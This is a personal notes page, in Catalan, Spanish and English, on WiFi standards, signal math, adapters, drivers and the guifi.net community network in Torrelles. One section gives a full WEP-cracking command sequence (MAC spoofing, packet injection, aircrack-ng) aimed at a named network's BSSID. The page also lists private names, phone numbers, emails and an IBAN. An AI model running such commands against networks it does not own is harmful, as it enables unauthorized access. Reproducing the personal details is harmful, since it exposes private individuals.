home / infca / wireless Before you judge a man, try walking in his shoes.

Arcadi | Irina | guifi, IST, Torrelles : esquema, eina IPs + super nodes + usuaris, gent, sag hw | NS M5-16 | hw JB | signal strength Links | End

Xarxes inalàmbriques

 
Dedicat a en Jordi Buzón.
Tú sí que sabes motivarme.
 

WiFi 9106 CN-WF511 Tech stuff Exploit CD WiFi vs BT Mobils

Entorn WiFi

802.11a (wiki) - The 802.11a standard uses the same core protocol as the original standard (ratified in 1999), operates in 5 GHz band, and uses a 52-subcarrier orthogonal frequency-division multiplexing (OFDM) with a maximum raw data rate of 54 Mbit/s, which yields realistic net achievable throughput in the mid-20 Mbit/s.

Using the 5 GHz band gives 802.11a a significant advantage, since the 2.4 GHz band is heavily used to the point of being crowded. Degradation caused by such conflicts can cause frequent dropped connections and degradation of service. However, this high carrier frequency also brings a slight disadvantage: the effective overall range of 802.11a is slightly less than that of 802.11b/g; 802.11a signals cannot penetrate as far as those for 802.11b because they are absorbed more readily by walls and other solid objects in their path.

2.4GHz only allows for 3 channels without an overlap - these are 1, 6 and 11. See list of wlan channels Wi-Fi (Wireless Fidelity) standard
Norma : 802.11b (1091 K) 802.11a is used by OTAN in Europe.
Arquitectura : Get all 802 !
Frequency band : 2,400 - 2,4835 GHz (Industrial Scientific Medical Band).
Legislación española : ver S5.150 en S5_1.doc de Sección III : disposición del cuadro de atribución de bandas de frecuencias. Channel 10-11 (Spain).

f (bottom of band) = 2,4 GHz => λ = 12,5 cm. f (top of band) = 2,4835 GHz => λ = 12,08 cm.

A common design for antennas is to make them 1/4 of a wavelength or less in length.

2,462 GHz is channel 11
Velicitat de transferència : 11 Mbps
Radio type : frequency hopping spread spectrum (FHSS)
Modulation : QFSK, BFSK, DBPSK
Hardware comparisons : Seattle
Receive sensitivity : FreeNetworks
Atenció a la seguretat : el AirSnort crakeja les claus d'encriptació ! I el WEPCrack !

ExtremeTech diu :

 WEP (wired-equivalent privacy) = encryption scheme for wireless traffic.
 Tools are readily available to break 40-bit WEP in a few minutes, and 128-bit WEP keys can be broken in a few days.

El AiroPeek (protocol analyzer) preten arreglar-ho.

IBM diu

Existing security for 802.11 wireless consists of two subsystems : a data encryption technique called Wired Equivalent Privacy (WEP) and an authentication method, either Shared Key or 802.1x. Both the encryption and authentication are optional, and wireless access points are typically shipped with both turned off.

I té el DWSA
Un article amb els esencials de la seguretat WiFi casolana.

WEP security

New WEP cracking tools : WEP.HTM

"WPA Cracking" ... "128 Bit WEP cracking" here "The minimum number of characters for a WPA-PSK passphrase is 8. The maximum is 63."

Chez moi :

SSID Security Type Encryption Cipher Aut Radio Type ------ -------------- ----------- ----- ---- ----------- belkin WPA2 AES CCMP PSK 802.11n WPA TKIP PSK 802.11g
Wireless A, B, G and N

IEEE 802.11n is a wireless networking standard created to improve network throughput over the two prior standards : Wireless-G (54 Mbps) or even Wireless-B (11 Mbps).

Wireless-N increased the maximum data transmission rate more than tenfold from 54 Mbps to 600-900 Mbps.

2,4 Ghz and 5 Ghz

The 2.4 GHz band is used for Wireless-G, and the 5 GHz for Wireless-N only.

All of the versions of Wi-Fi up to and including 802.11n (a, b, g, n) operate between the frequencies of 2400 and 2500 MHz. These 100 MHz are separated into 14 channels of 20 MHz each (overlapping).

The great thing about 5 GHz (802.11n and 802.11ac) is that because there’s much more free space at the higher frequencies, it offers 23 non-overlapping 20 MHz channels.

When setting the channels on your APs, try to stick with 1, 6, or 11. They are the only channels that don’t overlap. (2,4 GHz)

AUTO channel selection

AP and CSA (channel switch announcement) frames

The Channel Switch Announcement element is used by an AP in a BSS, a STA in an IBSS, or a mesh STA in an MBSS to advertise when it is changing to a new channel and the channel number of the new channel.

DFS is a spectrum-sharing mechanism that allows wireless LANs (WLANs) to coexist with radar systems.

If your AP want to use a 5 GHz channel, it need to support Dynamic Frequency Selection (DFS for short). If interference is detected after the AP has started, it sends a Channel Switch Announcement telling the stations that the AP will change channel after the next X beacons. The stations must obey or they will be disconnected.

Tool

A free scanner utility is Nirsoft’s WifiInfoView, which doesn’t even require installation. Just unzip and run it, and check out all of the networks using each channel.

Range extender

Si volem tenir una xarxa propia "itinerant" i conectar-nos a Internet només en algun moment, ens cal una configuracio com aquesta, on el punt (1) dificilment pot ser un cable (estem en un hotel) :

xarxa publica <- . -> xarxa privada d'en Albert . -> terminals d'en Albert .---------------. . . | | ​ | | (1) LAN​/WAN .---------------. (2) LAN/WAN .--------. | Router | =======.======= | Router | =====.======= | mac | | hotel | | Albert | | .--------. | (a) | | (b) | | | | .---------------. | .--------. .---------------. .------- | rspi | .--------.

See FastLane !

El problema és que la password de internet proporcionada per el router (a) s'ha de posar manualment a tots els terminals que es conectin al router (b)

 

 

Servidors (Access Point)

 

 

 

Clients : wireless card, tarjes Wi-Fi (802.11b)

  • Lucent

  • Orinoco (15 dbm power output)

  • Apple Airport

  • Cisco

  • Linksys

  • D-Link : DWL-650 PCMCIA is cheap and has Linux support

  • Edimax
    • PCMCIA
      • EW-7102PC = Wireless LAN PCMCIA adapter (*linux*)
      • EW-7103PC = Wireless LAN PCMCIA adapter (*linux*)
    • USB
      • EW-7112U = Wireless LAN USB adapter
      • EW-7115U = Wireless LAN USB adapter
    • PCI
      • EW-7122 = Wireless LAN PCI adapter (*linux*)
      • EW-7123 = Wireless LAN PCI adapter

  • Surecom
    • PC Card : EP-9427
    • USB Card : EP-9001

  • En Jordi te una PCMCIA Edimax, EW-7102 PC
    A Edimax seccio "products" + "wireless" :
    • EW-7103 PC : pcmcia wireless network adapter, 12 dBm output power (typ), -80 dBm receiver sensitivity (min). Coverage area : closed space (25m).
    • EW-7123 PC : pci wireless network adapter
    • EW-7205 AP : access point. Data packet bridging between wireless network (802.11b) and Ethernet network (802.3). Operating range : open space (100-300m), indoor (35-100m).
    Per les WS amb USB, en Jordi té una Edimax 7115-U

  • En Bulma recomana Conceptronic.
    Ep : a BCN es troba a Pricoinsa & JUMP (IE only) [Rda Sn Antoni, 38] & FNAC
    La Conceptronic PCI C11iDT porta una antena exterior !

  • A Seattle recomanen Lucent Silver/Gold (Hermes chipset)
    On the Prism chipset, ther's a lot of manufacturers.

  • Araceli has a Conceptronic Wireless 54Mbps adaptador USB

  • SAG has a wifi card !

  • A wifi dongle is a common name for a wireless USB adapter, which is the same thing as a WiFi card except it uses a USB interface instead of PCI or PCIe.

  • Monitor mode is one of the six modes that 802.11 wireless cards can operate in:
    • Master (acting as an access point),
    • Managed (client, also known as station),
    • Ad-hoc,
    • Mesh,
    • Repeater,
    • and Monitor mode

    Mes detall {wireless.kernel.org}

 

 

 

Edimax EW-7115U

  • Library : Transmit power = 15 dBm, Receive sensitivity = -80 dBm.
  • datasheet or PDF
  • Torrelles :
    2 WS s'han conectat quan hem posat "AdHoc" + (E)SSID
  • W2K :
    • Install under W2k :
      do not plug the USB adapter until the Application setup has been completed
      To install the drivers and the "Configuration & Monitor utility", run setup.exe from the CD.
    • Uninstall under W2k :
      • to remove the "Monitor & Configuration utility", select "Uninstall Configuration & Monitor utility" option (Start -> Programs -> Amter 802.11 Wireless LAN). It is recommended to stop the USB adapter and "Exit" the application !
      • to uninstall the USB adapter, select it in the Device Manager, and press "Uninstall" - can be performed only if the USB adapter is plugged in
  • Linux + USB : Atmel AT76C503 based wireless USB devices. VID=0x03EB, PID=0x7603, MAC=AT6C503A, Radio=RFMD (not Intersil).
    Another similar (identical) place
    How to build and install the GPL drivers.
    Another HowTo.
    SuSE 8.0 (and more) specifics (config).


US Robotics 9106

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9106 Specifications [url]

    * Network address translation (NAT)
    * Integrated 802.11g (54Mbps) wireless access point
          o 54Mbps data rate with auto fallback
          o 2 x detachable 2 dBi reverse SMA antennas
          o Support for WEP and WPA-PSK
          o Mac address filtering
          o Disable SSID
    * Integrated ADSL modem - 1 x RJ11 connection - velocitat ?
    * 4 x 10/100Base-T auto MDI-MDIX RJ45 switched LAN ports
    * Built-in firewall with stateful packet inspection (SPI)
    * Integrated DHCP server
    * Virtual private network (VPN) pass-through
    * UPnP enabled
    * DMZ hosting and port forwarding
    * Web-based & remote configuration
    * 2 year manufacturer warranty
 

Homepage

Search for FLOW CONTROL

 El modelo del ADSL Wireless Gateway
 Model 9106 ¢ USR209106
 SN:1DAH2A3D0439

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My Wifi cards & routers
P4 / Airis : Canyon CN-WF511

Chipset & driver by fabricante : url

Mine : URL

Norma = 802.11g, ID del producto = CN-WF511, Interface = PCI, Chipset = Ralink (chip RT2560F), Driver = rt2x00, Trabaja con Linux = verde.

Comentarios - driver available from manufacturer: http://web.ralinktech.com/ralink/Home/Support/Linux.html
=> http://rt2400.sourceforge.net/
=> http://rt2x00.serialmonkey.com, or http://sourceforge.net/projects/rt2400.

3 fotos :

T42

Ubuntu lspci says : Intel Corp. PRO/Wireless 2200 BG (rev 05)
So, it is a IPW2200 BG card

Norma = 802.11g, ID del producto = 2200BG, Vendedor y código del producto = man:8086 dev:4220, Interface = mini-PCI, Chipset = IPW2200, Driver = ipw2200, Trabaja con Linux = verde
Comentarios : http://ipw2200.sourceforge.net/

[t42:\Fonts\WireLess\Drivers\T42]

T400 (Abr 2010)
Integrated card

XP says : Intel(R) WiFi Link 5100 AGN ; mac = 00:22:FA:D1:5A:90 ; driver = NETw5x32.sys ;

AIR-PCM352 (pcmcia)

XP says : "Cisco Systems 350 Series PCMCIA Wireless Adapter : driver = pcx500.sys ;
soft, download.

Belkin Play N600, model F7D4101v2 (Oct 2014)

Play N600 USB Wireless N Dual Band.

Help (Spain) : 902.02 43 66

ISO (146 MB)

MTV, 201512 : Comtrend

5813 foto, manual [default 192.168.1.1, "1234"]

Portal Alejandra - configuración de routers

Admin pwd
100 Mbps

“Wireless -> Advanced“, cambiamos :

url

MTV, 201601 : HUAWEI ONT HG 8240

El Echo Life HG8240 es un terminal de red óptica (ONT) para interiores de la solución FTTH Huawei. Con el uso de la tecnología GPON, ofrece acceso de banda ultra-ancha para usuarios residenciales y pequeñas empresas. Proporciona dos puertos POTS y cuatro puertos Ethernet GE/FE de adaptación automática.

Homepage

Fibra Optica
SAG Belkin N300 wireless N router, model F9K1002v5 (May 2015)

Default values :


Tech stuff

Amunt! Top Amunt!
  • Free Networks
  • dB = 10 * log(a/b) ; 'a' and 'b' is power in mW
  • dBm = 10 * log(P) ; for dBm, 'b' is 1 mW.
  • a dBm is power level referenced to 1 milliwat => 0dBm = 1 mW.
  • 1 W => 10 log 1000 mW / 1 mW = 10 log 1000 = 10 * 3 = +30 dBm
  • 100 mW = +20 dBm
  • 10 mW = +10 dBm
  • doubling the power increases the reading by slightly more than 3 decibels, actually close to 3.010299 dB : 10 * log(base 10) 2 = 3,01029995664
  • 3 dBm + 3 dB = 6 dBm ( 2 mW * 2 = 4 mW )
  • 3 dBm - 3 dBm = 0 dB ( 2 mW / 2 mW = 1 )
  • mW to dBm
  • dBm to mW

 

 

  dBm  
+ 3dB     log
  mW  
x 2     log
0 1
3 2
6 4
9 8
10 10
12 16
15 32
18 64
20 100
21 128
24 256
27 512
30 1024
30 1000

 

 

Pèrdua de senyal a l'espai lliure :

  Loss = 32 + 20 x Log ( F x D ) 
  where
 Loss = free space path loss in dB
 F = operating frequency in Mhz
 D = distance in Km
 Include a fade margin of about 10 dB ...
So for a simple example, how far can a pair of Wavelan cards get with the little supplied patch antennas of 8 dbi ? The answer is :
 Tx power = + 20 dbm
 Combined antenna gains = 16 ( 8 + 8 )
 Rx sensitivity = -74 dbm
 Total link budget = 20 + 16 - ( -74 ) = 110 db
 Max distance = 4 km aprox

 loss = 32 + 20 x log (2450 x 4) = 111.

 With 10 dB margin we have :

    100 dB > 32 + 20 x log ( 2450 x d )
     68/20 > log ( 2450 x d )
     10 exp (68/20) / 2450 > d
     d < 1,025 Km
Bluetooth uses 1mW to reach 10 m [verify]

 

Vocabulari

  • Wlan Primer and FAQs

    Every device (wireless card) in an 802.11 network is known as a station (abbreviated STA). A collection of stations that communicate with each other is known as a Basic Service Set (BSS), which covers a certian Basic Service Area (BSA). Stations that are not within the BSA can't directly participate in a BSS with each other.
    When stations are participating in a BSS, they share a common set of network parameters. They all transmit/receive on the same channel, they understand the same data rates, they use a common BSSID, and they are synchronized to the same timer. In a BSS, all of those parameters are broadcast in beacon frames that are sent at a regular interval.
    Two BSS's could coincidentally share the same channel, common data rates, and timer, so some unique identifier is necessary. That unique identifier is a 6-byte number that identifies the BSS (the BSSID). Packets in a BSS, in addition to being addressed from one station to another, also include the BSSID.
    There are two kinds of BSS's: the independent BSS (IBSS) and the infrastructure BSS.
    An IBSS is usually an ad-hoc network, and they're meant for peer-to-peer networking. An IBSS resembles a bunch of computers on the same Ethernet segment--they can all hear each other, and packets are sent directly to the recipient. In an IBSS, all of the stations are responsible for sending beacons, and the BSSID is randomly generated.
    In an infrastructure BSS, there is exactly one access point (AP). When one station wishes to send data to another station, the packet is sent first to the AP, and then the AP delivers the packet. The BSSID of an infrastructure BSS is the MAC address of the AP's station interface, and the AP is the only station that sends out beacons. The AP is sometimes known as the BSS master, and the other stations are BSS clients.
    802.11 networks grow by combining infrastructure BSS's into larger Extended Service Sets (ESS's), which cover Extended Service Areas (ESA's). In order for stations in one BSS to talk to stations in other BSS's, the stations must take advantage of distribution system services (DSS). The distribution system (DS) is the magical thing that connects BSS's into one ESS, and it's defined by the services that AP's connected to the DS provide.

  • SSID = Service Set Identifier.
    32-byte string that identifies an IBSS or an ESS (or a single infrastructure BSS). It's often called the network name or ESSID. The SSID is a unique ID given to the Access Point.
    Wireless clients associating to any Access Point must have the same SSID. Alternatively, "ANY" (all characters in upper case) may be used.
    BSSID - basestation ID. (Access Point MAC address)

  • Infrastructure = with Access Point, AdHoc = without Access Point.

    In Ad-Hoc mode : Ad-Hoc network is a group of computers, each with a WLAN adapter, connected as an independent wireless LAN. All stations in the WLAN should set the same ESSID and operation channel. Each node (station) acts as a router for the other nodes. See Snoop
    In Infrastructure mode : an integrated wireless and wired LAN is called an Infrastructure configuration. Set the ESSID to be the same with the AP you associate to.

  • RTS threshold - mechanism implemented to prevent the "hidden node" problem.
    A packet size is specified, and the RTS/CTS mechanism will be activated if the packet size exceeds the specified value.

  • pigtail - cable (corto, flexible) que tiene en un extremo un conector N para enroscar la antena, y en el otro extremo un conector específico que se acoplará en nuestro hardware wireless. Few pictures



Get a packet monitoring tool for wireless LAN


See Sniffer 4.6 [12 dolars]
AirMagnet Duo complementing Sniffer Wireless article
And Snort [for W2K]
Here is a wireless kismet scanner (requires driver in promiscous mode) Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system.
Windows ones :
  • SpyNet sniffer : CaptureNet v3.12 + PeepNet => "Iris" Network Traffic Analyzer
  • CommView v2.0 sniffer
Read about Anti-Sniff. Also about packets and protocols ! Even points to GG243376 !
In Win2000Mag also ! [NT only !]
 AntiSniff exploits the method NT uses to handle packets by sending a packet to the system
 using an Ethernet address of FF:00:00:00:00:00
 and the IP destination address of the system you want to check.
 When a network card is operating in promiscuous mode in NT,
 it will respond to the packet that AntiSniff has sent,
 revealing that a packet sniffer might be active on the system.

 For its DNS tests, AntiSniff puts itself in promiscuous mode
 and sends a packet out on the network using a predetermined IP address
 in the packet header. If a packet sniffer is listening on the network
 and configured_as some are_to perform reverse
 DNS lookups for the packets it captures, then the system running the
 packet sniffer will transmit a reverse DNS lookup request for the IP
 address in the packet AntiSniff sent.
 The product captures that particular action (the reverse DNS lookup),
 tricking the packet sniffer into revealing itself on the network.

Other network analyzers :

List of sniffers : http://www.packetattack.com/wireless.html - and more ! [*****]

War driving : MacStumbler (Airport wireless cards only)

Read WEP


 

Auditor Security Collection

From here

BackTrack is the result of the merging of the two innovative penetration testing live linux distributions Auditor security collection and Whax. : BackTrack download : v3 Beta - 14-12-2007, v4 bt4-beta.iso 02/2009. 2010 new home : http://www.backtrack-linux.org/.

See also WifiSlax (v 3.1, 683 MB, at 2007/12 has kernel 2.6.21.5, meaning no "iwlagn" for T400), KisMet, Stumbler (guindous). Nice Blog.

2017 - now it is Kali

Centuriones !

Kernel := 2.6.6 ! [10/01/2005]
MacChanger :

     -s eth0 => 00.02.8A.3C.31.4F
     -s eth1 => 00.09.6B.86.5C.57
     -m => provide New AA.BB.CC.DD.EE.FF

Auditor-200605-02 : !IMPORTANT!!
This version has two different ISO versions, becasue the Intel B and the Intel B/G card drivers IPW2100 and IPW2200 does not work well in cooperation. While B cards does not seem to have a problem, systems with B/G cards (ipw2200) seemed to hang during boot. To overcome this problem (until the drivers are fixed) we release two iso's of the CD to support your needs. If you want to be able to use Auditor Security Collection on a system with an IPW2200 card you need to download the "-no-ipw2100" version of the iso otherwise it will not boot. A system with B card based on IPW2100 will work with it, but no driver will be loaded for the B only card. If you never run it on a System with IPW2200 take the "ipw2100" version, the ipw2100 driver is included in this version.

List of tools.
Device list
Tutorials

BT4

Homepage : http://www.backtrack-linux.org/, but drac is from Legacy Filmworks ! (2014) -> Kali

To start BT4 :

  • network : /etc/init.d/networking start ;
  • KDE : startx ;
  • FVWM : bt4-crystal ;
Eines al BT4

Les utilitats que hi ha al BT4 son :

aircrack-ng - airmon-ng - AirSnarf - ASLEAP - Automated LEAP attack tool- tool to Crack Cisco LEAP, August, 2003. SourceForge. Cowpatty - Genpmk - Kismet - Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. url MacChanger -
wifi cards

To display card manufacturer to Linux driver compliance : http://linux-wless.passys.nl/.
How to display vendor &: product code :

# lspci -vv | grep Intel {for a PCI card : read here} 00:0b.0 Network controller: Intel Corporation PRO/Wireless 2200BG (rev 05) Subsystem: Intel Corporation: Unknown device 2702 Now, look for the device number: # lspci -n | grep 00:0b.0 00:0b.0 Class 0280: 8086:4220 (rev 05)
Acradi Acer Aspire 5741
$ lspci 03:00.0 Network controller : Broadcom Corporation device 4357 (rev 01) Subsystem : Foxconn International Inc, device E021 Kernel drive in use : wl # lspci -n | grep 03:00.0 03:00.0 0280: 14e4:4357 (rev 01)

BCM page has move to b43 driver page.

When booting BT4, I find

$ cat /var/log/messages | grep Broadcom bt kernel: eth0: Broadcom BCM4357 802.11 Wireless Controller 5.10.91.9

Also I find
$ iwconfig eth0 IEEE802.11bgn ESSID:"" Nickname:"" Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated

No permet ficar-se en mode tafaner :
$ iwconfig eth0 mode monitor SET failed on device eth0: invalid argument.

Pero si es pot configurar si sabem la clau :
$ iwconfig eth0 mode managed
Irina Acer Aspire 6930
$ lspci 07:00.0 Network controller : Intel Corporation, Wireless WiFi Link 5100 Kernel drive in use : iwlagn Kernel modules : iwlagn $ lspci -n | grep 07:00.0 07:00.0 0280: 8086:4232

ipw5100 uses iwlagn driver : green, wlan type := 802.11a/n, vendor & product code := man: 8086 dev: 4237, mini-PCIe.

Al log trobo :

$ cat /var/log/messages bt kernel: iwlagn 0000:07:00.0 Detected Intel Wireless WiFi Link 5100AGN REV=0x54

El nostre device és wlan0 :

$ iwconfig wlan0 IEEE802.11abgn ESSID:"" Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated

El configurem :

$ ifconfig wlan0 down $ macchanger -m 00:11:22:33:44:55 wlan0 Current MAC: 00:21:5d:4c:3e:d0 (unknown) Faked MAC: 00:11:22:33:44:55 (Cimsys Inc) $ iwconfig wlan0 mode monitor $ ifconfig wlan0 up

Anem per feina :

$ airodump-ng wlan0 veure xarxes : WLAN_C5, ch 3, BSSID 00:19:15:4F:92:AA ; $ airodump-ng --channel 3 wlan0 veure nomes dades del canal 3 $ airodump-ng -c 3 -w test -bssid 00:19:15:4F:92:AA wlan0 esperar paquets #Data (no tancar finestra !) $ aireplay-ng -1 0 (-e WLAN_C5) -a 00:19:15:4F:92:AA -h 00:11:22:33:44:55 wlan0 do associate to router $ aireplay-ng -3 -b 00:19:15:4F:92:AA -h 00:11:22:33:44:55 wlan0 entrar pakets per a que #Data pugi mes rapid, fins 10.000 ! $ aircrack-ng -b 00:19:15:4F:92:AA test-01.cap desxifrar : wait "KEY FOUND" $ iwconfig wlan0 mode manakeg key 31:32:33:34:35:36:37:38:39:30:31:32.33 conectar al router amb la clau $ dhcpcd wlan0 get IP $ ifconfig wlan0 display configuration $ ping www.google.es use Internet ;
Misc

BT forums.


WifiSlax
  • boot CD
  • login as "root" / "toor"
  • either :
    • "startx" = engegar entorn Xwindow
    • "xconf" = configurar tarja gràfica
    • "ifconfig eth0 up" = engegar xarxa local
    • "pump" / "dhclient" = get an IP from the DHCP server
    • si hi ha problemes, mirar /var/log/messages o /var/log/syslog
  • Airis P4 : Canyon CN-WF511 Ralink RT2500 Wireless LAN Card => RT2500 chipset Driver URL ; card description ; driver download {win} ; T42:\Fonts\WireLess\Drivers\P4_Airis\rt2500-1.0.0.tar.gz
  • T42 : Intel Corp. PRO/Wireless 2200 BG (rev 05)
  • ataque fragmentación / get PRGA - Sample.
    • configurar wireless :
      iwconfig ra0 rate 1M channel 6 mode monitor
    • start airodump :
      airodump-ng --ivs -w clave -c 6 ra0


LEAP & ASLEAP

LEAP is ...

Asleap is ... - Automated LEAP attack tool. Another tool : LEAP cracker.

few links : Flim; VT - blog.


Amunt! Top Amunt!
guifi.net

Guifi homepage; comuns (!!!); email fundació ; com conectarse, tutorial wikibook

Guifi Baix cooperativa

Contacta amb Interbaix, potser pot donar-vos servei: ms2k@interbaix.com, 93 654 82 08 / 09
A/At. Josep Alacid, 625 422 876 gMail Jacint Verdaguer, 144 ; Sant Boi de Llobregat ;

Com unir-se a guifi
Com mostrar la visibilitat des la nostra antena
Com saber amb quin super node conectar-se
guifi a Torrelles

Tots els nodes de Torrelles (188 nodes el 20170311), Baix Llobregat (665 nodes el 20170311). *** Buscador per IP ***

Torrelles Google group, foro, email incidencies, e_mails, nif(G66268384)

Si no et funciona ho dius al GoogleGroup i posa el IP de la teva antena. En Lorenzo s'ho va mirant.

Mate = Miguel Angel Torres, email, 617 631 346, 619 436 006

Boi tf 637.979.121

Contacte : Daniel Sanchez; Edgar, Edgar

e1001 administració Torrelles : eeeiii, Israel Antúnez@eeeiii.net, Carlos Vargas@eeeiii.net, samsitper : cementiri o campanar

Tf informació : 93.689.02.91 ; Serveis.

Torrelles, 31/07/2010 :

Network Name Signal Strength Encryption Wireless Mode Channel MAC Address guifi.net-TDLCmpnrAP4 17% Open network 802.11a 104 00:0C:42:61:A7:43 guifi.net-wds-TDLCmpnPtOmnia 44% Open network 802.11a 132 00:0C:42:3A:EB:D0 guifi.net-TDLCmpnrAP1 37% Open network 802.11a 36 00:0C:42:3A:E7:24 guifi.net-TDLCmpnrAP3 35% Open network 802.11a 44 00:0C:42:61:A5:F9

4 nodes (2010) :

32 clients (20171031) : status - ping every 4 sec, HTML page every 5 min, FTP every 10 min.

Home, 20151025 :

Network Name Signal Strength Encryption Wireless Mode Channel MAC Address WLANGAS2 70% Encrypted 802.11g 9 40.4A.03.AF.5B.FB WifiLluis 68% Encrypted 802.11n 1 00.F8.1C.91.4A.DD
Junta 20170601 - XT2

Edgar Ramon, Albert Romagosa, Jordi Buzon.

Vocals : Carles, Mate, Sebas, Simo

Boi ?

La nostra "homepage" és xarxatorrelles.cat [***] - en un Plesk Onyx 17.5.3

Socis 20170722 - XT2

Hauriem de tenir quelcom com ... {compte : contactes email}

..IP.......................Nom soci.................Email............................Tf............... . 10.139.130.117 Sebastia Altemir sebastiasebas@gmail.com 638.015.371 . ......................................................................................................

All nodes, all socis

Pagaments

IBAN: ES47 0081 0122 2800 0113 9623 / BSAB ESBB.

Quota 2016 : 40,00 € {pagat Febrer}

2017 (pagat 8 de juny) : Us recordem que l'ingrés (40 €, quota 2017) s'ha de realitzar abans del dia 30/06/2017.
En l'ingrés, s'ha de fer constar un adreça de correu associada a la persona que obté l'accés a la Xarxa. Serà amb aquesta adreça de correu amb la què contactarem en cas de no coincidència amb les dades que disposem de l'usuari.
El justificant de l'ingrés es comunicarà per correu electrònic al tresorer a l'adreça xarxatorrelles.tresorer@gmail.com

no-IP

no-IP

Falta obrir ports o configurar una VPN.

Funciona el FTP / SSH a guifi ?
SSH a RASPALL
c:\> telnet 62.57.74.22 9008 SSH-2.0-OpenSSH_6.7p1 Raspbian-5+deb8u2 ♥♥♥♥as Protocol mismatch.
FTP a TINET
ping usuaris.fut.es ftp usuaris.fut.es

20170725, màgicament :

C:\> ftp usuaris.fut.es Connected to www.tinet.org. 220 TINET (Tarragona InterNET) User (www.tinet.org:(none)): 500 USER: command requires a parameter Login failed. ftp>
Internet Speed Test guifi.net

Eines per mesurar la velocitat : ADSL, Movistar, SpeedTest.net {***}, CNET, SourceForge, DSL reports,

{201410} 8 Mbps baixada, 12 Mbps pujada
{201411} 5 Mbps baixada, 8 Mbps pujada
{20141207, 08h} 6,5 Mbps baixada, 8 Mbps pujada. Pero baixo fitxers a 300 KBps = 2,4 Mbps.
{20150814, 07:05} 5968 kbps = 746 KB/sec baixada, 8776 kbps = 1097 KB/sec pujada. Ping: 18 ms. Jitter: 24 ms.
{20151214, 07:35} 4,0 Mbps baixada, 9,7 Mbps pujada
{20160216, 07:35} 3,8 Mbps baixada, 4,0 Mbps pujada
{20160220, 12:20} 1,9 Mbps baixada, 8,6 Mbps pujada
{20160311, 07:30} 16 Mbps baixada, 12 Mbps pujada
{20160316, 21:00} 3,7 Mbps baixada, 5,7 Mbps pujada
{20160320, 22:30} 140 / 32 Mbps
{20160321, 07:50} 81 / 32 Mbps
{20160518, 09:10} 5 / 3 Mbps [FO]
{20170201, 10:55} 11 / 3 Mbps [Tfca 60/18]
{20170311, 10:01} 83 / 31 [fo tfca 82/79]
{20170511, 14:21} [FO 98 / 96]

Amunt! Top Amunt!
esquema guifi Torrelles
{Tabor} ---. | | | | | | | .--- TDLTaborDipST1 [172.25.51.182] -.- ST1/AP1 : 10.139.130.129 = TDLTaborDipAP1 (24 nodes) | | | | |- ST1/AP2 : 10.139.238.97 = TDLTaborDipAP2 (24 nodes) | | | | .- ST1/AP3 : 10.139.238.129 = TDLTaborDipAP3 (27 nodes) | | | | | | | .--- TDLTaborDipST2 10.139.239.1 --- [castelldefels] | | | | | | | .--- TDLTaborDipST3 [172.25.51.181] -.- RD1/AP1 : 10.139.238.225 (172.25.37.122) = TDLTaborDipRocketRd1 ( 4 nodes) | | | |- RD1/AP2 : 10.139.239.65 (172.25.38.190) = TDLTaborDipRocketRd2 {xarxaTorrelles-TaborAP2} ( 3 nodes) | | | .- RD1/AP3 : 10.139.239.97 (172.25.39.118) = TDLTaborDipRocketRd3 ( 3 nodes) | | | | | .--- {Cementiri} --- TDLLCementiriST [172.25.66.20] --- AP1 : 10.139.130.161 ( 1 node ) | | --- AP2 : 10.139.238.161 (19 nodes) | | | .----- {Can Coll} --- TDLCanCollST [172.25.66.12] --- AP1 : 10.139.130.193 (10 nodes) | --- AP2 : 10.139.130.225 ( 6 nodes) | .------ {Campanar} ----- TDLCampanarST1 [172.25.66.4] --- ST1/AP1 : 10.139.130.65 (172.25.33.10) ---- [F.O.] (13 nodes) --- ST1/AP2 : 10.139.238.33 (172.25.33.14) ---- [Ajuntament] - 10.139.130.34 ( 5 nodes) --- ST2/AP3 : 10.139.130.97 (172.25.33.18) ---- [Punt Omnia] - 10.139.238.194 (23 nodes) --- ST2/AP4 : 10.139.238.65 (172.25.33.22) (12 nodes)
Interconexionat entre super nodes
Tabor ST1 ether0 172.25.51.182 ---- Tabor ST3 ether2 172.25.51.181 Tabor ST1 ether1 172.25.32.137 ---- Tabor ST2 ether9 172.25.32.138 Tabor ST1 172.25.32.90 wdswds-TDLTbrDp-DpGuey ---- wds/p2p 172.25.32.89 Can Coll ST3 172.25.66.9 TDLTaborDipNanoBeam1 ---- ? Tabor ST1 172.25.39.54 wdswds-TDLTbrDpCemntri ---- wdswds-TDLLCmntrTaborDp 172.25.39.53 Cementiri ST3 172.25.66.17 TDLTaborDipNanoBeam2 ---- ? Tabor ST1 172.25.39.49 wdswds-TDLTbrDpCmpnr ---- wds/p2p 172.25.39.50 Campanar [dropped] ST3 172.25.66.1 TDLTaborDipNanoStation1 ---- ?
Esquema conexio super nodes - xarxa 172.25.xx.xx
. Can Coll - see "20171006_Inventari fotografic Can Coll.docx" . . .----------------. . 172.25.66.10 (gw .66.9) | 172.25.66.12 | 172.25.66.9 . . 172.25.66.11 (gw .66.9) | 10.139.130.193 | <---> TaborDipST3 172.25.51.181 . . PowerBeam M5 300 | TDLCanCollST | microTik 10.138.238.1 . . guifi.net-wds-TDLCanColl-Tabor | | . . | | 172.25.32.90 <---> 172.25.32.89 . guifi.net - no existeix . | | TDLTbrDp-DpGuey TDLTaborDipST1 . - no existeix . .----------------.
Conexionat de les antenes (AirOS) amb els routers/controladors (WebFig)

Tabor te 3 routers/controladors amb WebFig :

TDLTaborDipST1 10.139.130.129 172.25.51.182 {*** WISP AP ***} Mikrotik-Routerboard 600; RouterOSv4.7+ TDLTaborDipST2 10.139.239.1 [*** usr/pwd no std ***] ---> Castelldefels TDLTaborDipST3 10.138.238.1 172.25.51.181 Mikrotik-Routerboard 1100, RouterOSv6.x

Tabor te 6 antenes :

interface device 172.25.37.122 167617/ ether0 83902-TDLTaborDipRocketRd1 = xarxaTorrelles-TaborAP1 --- 172.25.37.121 110571/ ether6 TDLTaborDipST3 172.25.38.190 167649/ eth0 83915-TDLTaborDipRocketRd2 = xarxaTorrelles-TaborAP2 --- 172.25.38.189 120777/ ether7 TDLTaborDipST3 172.25.39.118 167655/ eth0 83918-TDLTaborDipRocketRd3 = xarxaTorrelles-TaborAP3 --- 172.25.39.117 167612/ ether TDLTaborDipST3

Can Coll te un controlador i dues antenes :

